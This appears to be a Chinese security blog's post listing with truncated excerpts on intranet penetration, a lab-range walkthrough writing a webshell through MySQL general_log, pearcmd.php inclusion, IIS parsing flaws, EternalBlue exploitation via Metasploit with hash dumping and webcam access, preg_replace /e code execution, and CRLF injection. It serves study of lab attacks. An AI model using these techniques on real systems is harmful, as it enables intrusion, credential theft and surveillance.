内网渗透初探
内网渗透初探简介内网渗透(intranet exploitation)是对目标服务器getshell后,通过一系列技术手段对其所处的内网环境进行渗透,最终获取内网其他主机的权限的过程,这些通常涉及以下技术:
内网信息收集
内网代理
权限提升
横向移动
……
基本概念工作组(work group)分辨:在命令提示符界面执行systeminfo,回显结果的“域”信息为WORKGROUP
简单来说,就是将不同的计算机按照功能或部门分别置于不同的组,适用于网络中计算机不多、资产规模较小、对安全管理控制要求不严格的情况,这是一种松散的资源管理模式,任何人都可以在局域网中创建新的工作任务而无需管理员同意,换言之,处于同一工作组中的主机彼此间地位平等,不存在额外关联或管理关系,对于此类情况,在内网渗透时需要逐个渗透与控制
在局域网内,计算机默认都是按照工作组的方式进行资源管理的
域(domain)分辨:在命令提示符界面执行systeminfo,回显结果的“域”信息为类似域名格式,由“.”连接的字符串
当组织中网络规模越来越大时,需要统一的管理和集中的身份验证,并能为用户提供更加方便地的网络资源搜 ...
红日靶场01 渗透过程记录
红日靶场01 ATT&CK红队评估外网信息收集首先扫描C段找一下目标站点IP:
netdiscover -i eth0 -r 192.168.221.0/24
找到站点外网IP为192.168.221.133
接下来进行端口扫描
发现80端口开启,并且站点开启了mysql服务
访问80端口,是一个phpinfo()页面,且可以进行mysql连接测试
使用root,root发现mysql存在弱口令
接下来使用dirsearch扫描一下网站目录,发现存在phpmyadmin后台
进入发现存在root,root弱口令,登陆成功,发现后台可执行sql语句,尝试写马
查看数据库是否有导入权限,看能否直接导入木马
SHOW GLOBAL VARIABLES LIKE '%secure%'
发现没有权限
查看是否有开启日志记录
SHOW GLOBAL VARIABLES LIKE ‘%general%’
发现功能关闭
开启全局日志
SET GLOBAL general_log = ON
指定日志写入到网站根目录
set GLOBAL general_ ...
pearcmd.php的利用
pearcmd.php的利用关于pearpecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装
不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php
要利用这个pearcmd.php需要满足几个条件
要开启register_argc_argv这个选项(在Docker中自动开启)
要有文件包含的利用
确定pearcmd.php的位置,通常为/usr/local/lib/php
register_argc_argv如果环境中含有php.ini,则默认register_argc_argv=Off;如果环境中没有php.ini,则默认register_argc_argv=On
当开启了这个选项,用户的输入将会被赋予给$argc、$argv、$_SERVER[‘argv’]几个变量。
也就是说:当我 ...
解析漏洞
解析漏洞拜读了d09gy老师的文章,记录一下笔记
概述”服务器对脚本资源的理解差异,决定了服务器自身的安全性。“
解析漏洞是由于Web Server自身缺陷或者其相关配置存在缺陷导致服务器在解析网站资源文件时,出现的与所应当解析成的资源类型不一致的一类安全问题
这个所谓的不一致主要体现在错误地将”普通“文件当作脚本文件解析,导致服务器解析一些被精心构造的恶意文件,导致代码执行或被获取webshell
这里记录一下较为经典的解析漏洞
IIS解析漏洞文件夹解析漏洞
影响版本
IIS 5.x 和6.0
漏洞内容
对于目录中名称为x.asp中的任何文件,包括其他类型的文件比如1.jpg,都会被当作ASP文件解析
在早期,很多网站的通用编辑器都是可以让用户自己去创建目录,利用编辑器创建example.asp文件夹,内置一个含有恶意asp代码的a.jpg文件,而ASP网站必然启用了ASP解析功能,那么这个a.jpg就会被当作ASP解析成功
思考
这里并不是利用了单一的漏洞点,文件夹解析漏洞和网站允许创建恶意文件夹这两个致命点缺一不可
分号截断漏洞
影响版本
IIS6.0
漏洞内容
...
WINDOWS经典漏洞复现
WINDOWS经典漏洞复现懒得放图了o.O
ms17-010 永恒之蓝被攻击机版本为win7
信息收集nmap扫描发现445端口开放,可尝试利用永恒之蓝进行攻击
也就是利用445端口的smb服务实现操作溢出漏洞
利用
启动msf
msfconsole
查找漏洞模块
search 17-010
探测是否存在漏洞
use 3
选项3为漏洞检测payload
攻击
use 0
选项1为漏洞攻击payload
检测和攻击时记得设置被攻击机的IP:
set rhost 192.168.xxx.xxx
显示主机系统信息
sysinfo
获取屏幕快照
screenshot
文件传输
上传文件:
upload /root/1.txt c:\\
下载文件:
download c:\\2.jpg /root/2.jpg
查看权限:
getuid
获取用户名密码:
run windows/gather/smart_hashdump
摄像头
查看是否存在摄像头
webcam_list
打开摄像头
webcam_strean
getshell
直接进入window的命令行
...
preg_replace在/e模式下的代码执行
preg_replace在/e模式下的代码执行版本
php5.5.0以下
前置知识有如下代码:
<?php preg_replace("/test/e",$_GET["a"],"jutst test");?>
意为在 “this is a test” 字符串中找到 “test”,并将其替换为通过$_GET[“a”]获取的代码执行结果
也就是说只要提交GET参数“a”的内容为php代码,即可实现远程代码执行,比如提交:
?a=phpinfo();
便会回显phpinfo页面
案例找了一个很有意思的案例:
<?phpfunction complex($re, $str) { return preg_replace( '/(' . $re . ')/ei', 'strtolower("\\1")', $str );}foreach($_GET as ...
CRLF注入
CRLF注入描述CRLF是“回车(CR,Carriage Return) + 换行(LF, Line Feed)”(\r\n)的简称。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。
所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS
前置知识
CRLF指的是回车符(CR,ASCII 13,\r,%0d) 和换行符(LF,ASCII 10,\n,%0a),CRLF的概念源自打字机,表明行的结束,计算机出现后沿用了这个概念
浏览器会根据CRLF将http包分为header和body,然后将body中的内容执行
根据 HTTP/1.1 规范(RFC 7230),HTTP头字段是通过 CRLF(即 \r\n,对应 %0d%0a)来分隔的,因此,当一个 HTTP 头部结束时,它应该总是以一个 CRLF 结尾后跟另一个 CR ...